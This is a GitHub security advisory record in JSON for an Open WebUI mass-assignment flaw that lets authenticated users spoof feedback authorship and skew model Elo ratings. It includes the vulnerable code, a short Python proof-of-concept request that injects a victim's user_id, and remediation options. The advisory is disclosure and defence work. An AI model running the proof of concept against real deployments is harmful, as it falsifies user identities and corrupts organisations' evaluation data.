CVE-2026-45396: Open WebUI Mass Assignment Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rjmp-vjf2-qf4g",
  "modified" : "2026-05-15T23:55:14Z",
  "published" : "2026-05-14T20:26:18Z",
  "aliases" : [ "CVE-2026-45396" ],
  "summary" : "Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation",
  "details" : "# Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation\n\n## Summary\n\nThe `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra='allow')`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.\n\n## Details\n\nThe vulnerability exists in two layers:\n\n### 1. Model Layer — Insecure Dict Merge Order\n\n**File:** `backend/open_webui/models/feedbacks.py`, lines 148–160\n\n```python\nasync def insert_new_feedback(\n    self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None\n) -> Optional[FeedbackModel]:\n    async with get_async_db_context(db) as db:\n        id = str(uuid.uuid4())\n        feedback = FeedbackModel(\n            **{\n                'id': id,\n                'user_id': user_id,       # ← Server-set from auth token\n                'version': 0,\n                **form_data.model_dump(),  # ← OVERWRITES 'id', 'user_id', 'version'\n                'created_at': int(time.time()),\n                'updated_at': int(time.time()),\n            }\n        )\n```\n\nIn Python, when a dictionary literal contains duplicate keys, the **last value wins**. Since `**form_data.model_dump()` appears after `'user_id': user_id`, any `user_id` field in the form data overwrites the authenticated user's ID.\n\n### 2. Schema Layer — `extra='allow'` on Request Form\n\n**File:** `backend/open_webui/models/feedbacks.py`, line 106\n\n```python\nclass FeedbackForm(BaseModel):\n    type: str\n    data: Optional[RatingData] = None\n    meta: Optional[dict] = None\n    snapshot: Optional[SnapshotData] = None\n    model_config = ConfigDict(extra='allow')  # ← Accepts arbitrary extra fields\n```\n\nThe `extra='allow'` config means Pydantic will accept and preserve any extra fields in the request body, including `user_id`, `id`, and `version`. These are then spread into the `FeedbackModel` constructor, overwriting server-set values.\n\n### Contrast with Secure Pattern\n\nOther models in the same codebase use the correct ordering. For example, `backend/open_webui/models/functions.py`, line 120:\n\n```python\nfunction = FunctionModel(**{\n    **form_data.model_dump(),   # ← Spread FIRST\n    'user_id': user_id,         # ← Server value AFTER → always wins\n})\n```\n\nAnd `ModelForm` at `backend/open_webui/models/models.py` uses `extra='ignore'`, which is the strictest approach.\n\n## Impact\n\n### 1. User Identity Spoofing\nAn attacker can create feedback records attributed to any user by specifying their `user_id`. The admin export endpoint (`GET /api/v1/evaluations/feedbacks/export`) and admin list (`GET /api/v1/evaluations/feedbacks/all`) will show the spoofed `user_id` as the feedback author.\n\n### 2. Model Evaluation Leaderboard Manipulation\nThe Elo rating system at `backend/open_webui/routers/evaluations.py` computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:\n- Artificially inflate ratings for a specific model\n- Deflate ratings for competitor models\n- Make organizational model evaluation decisions unreliable\n\n### 3. Record ID Control\nBy injecting a custom `id`, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.\n\n## PoC\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:8080\"\n\n# 1. Login as attacker\nsession = requests.Session()\nlogin_resp = session.post(f\"{BASE_URL}/api/v1/auths/signin\", json={\n    \"email\": \"attacker@example.com\",\n    \"password\": \"attackerpass\"\n})\ntoken = login_resp.json()[\"token\"]\nheaders = {\"Authorization\": f\"Bearer {token}\"}\n\n# 2. Create feedback attributed to a different user (victim)\nVICTIM_USER_ID = \"12345678-aaaa-bbbb-cccc-000000000000\"\n\nresp = session.post(\n    f\"{BASE_URL}/api/v1/evaluations/feedback\",\n    headers=headers,\n    json={\n        \"type\": \"rating\",\n        \"data\": {\n            \"model_id\": \"gpt-4o\",\n            \"rating\": 1,\n            \"sibling_model_ids\": [\"claude-3-opus\"],\n        },\n        # Mass assignment: these extra fields are accepted due to extra='allow'\n        # and overwrite server-set values due to dict merge order\n        \"user_id\": VICTIM_USER_ID,  # Overwrites authenticated user ID\n        \"version\": 999,             # Overwrites default version\n    }\n)\n\nfeedback = resp.json()\nprint(f\"Feedback created with user_id: {feedback['user_id']}\")\n# Expected: attacker's own user_id\n# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)\nassert feedback[\"user_id\"] == VICTIM_USER_ID, \"Mass assignment successful!\"\n```\n\n## Severity\n\n**CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network\n- **Attack Complexity:** Low\n- **Privileges Required:** Low (any authenticated user)\n- **User Interaction:** None\n- **Impact:** Integrity (feedback data falsification) + limited Availability (leaderboard reliability)\n\n## Suggested Remediation\n\n### Option 1: Fix dict merge order (minimal fix)\n```python\nfeedback = FeedbackModel(\n    **{\n        **form_data.model_dump(),   # Spread FIRST\n        'id': id,                    # Server values AFTER (always win)\n        'user_id': user_id,\n        'version': 0,\n        'created_at': int(time.time()),\n        'updated_at': int(time.time()),\n    }\n)\n```\n\n### Option 2: Remove `extra='allow'` from FeedbackForm (recommended)\n```python\nclass FeedbackForm(BaseModel):\n    type: str\n    data: Optional[RatingData] = None\n    meta: Optional[dict] = None\n    snapshot: Optional[SnapshotData] = None\n    model_config = ConfigDict(extra='ignore')  # Reject unexpected fields\n```\n\n### Option 3: Explicit field assignment (most secure)\n```python\nfeedback = FeedbackModel(\n    id=str(uuid.uuid4()),\n    user_id=user_id,\n    version=0,\n    type=form_data.type,\n    data=form_data.data.model_dump() if form_data.data else {},\n    meta=form_data.meta or {},\n    snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},\n    created_at=int(time.time()),\n    updated_at=int(time.time()),\n)\n```\n\n## Affected Versions\n\n- v0.9.2 (current latest, confirmed vulnerable)\n- Likely all versions since feedback/evaluation feature was introduced\n\n## References\n\n- Prior advisory: \"Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts\" (patched in v0.9.0) — same root cause class, different endpoint",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-rjmp-vjf2-qf4g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45396"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-915" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:26:18Z",
    "nvd_published_at" : "2026-05-15T21:16:37Z"
  }
}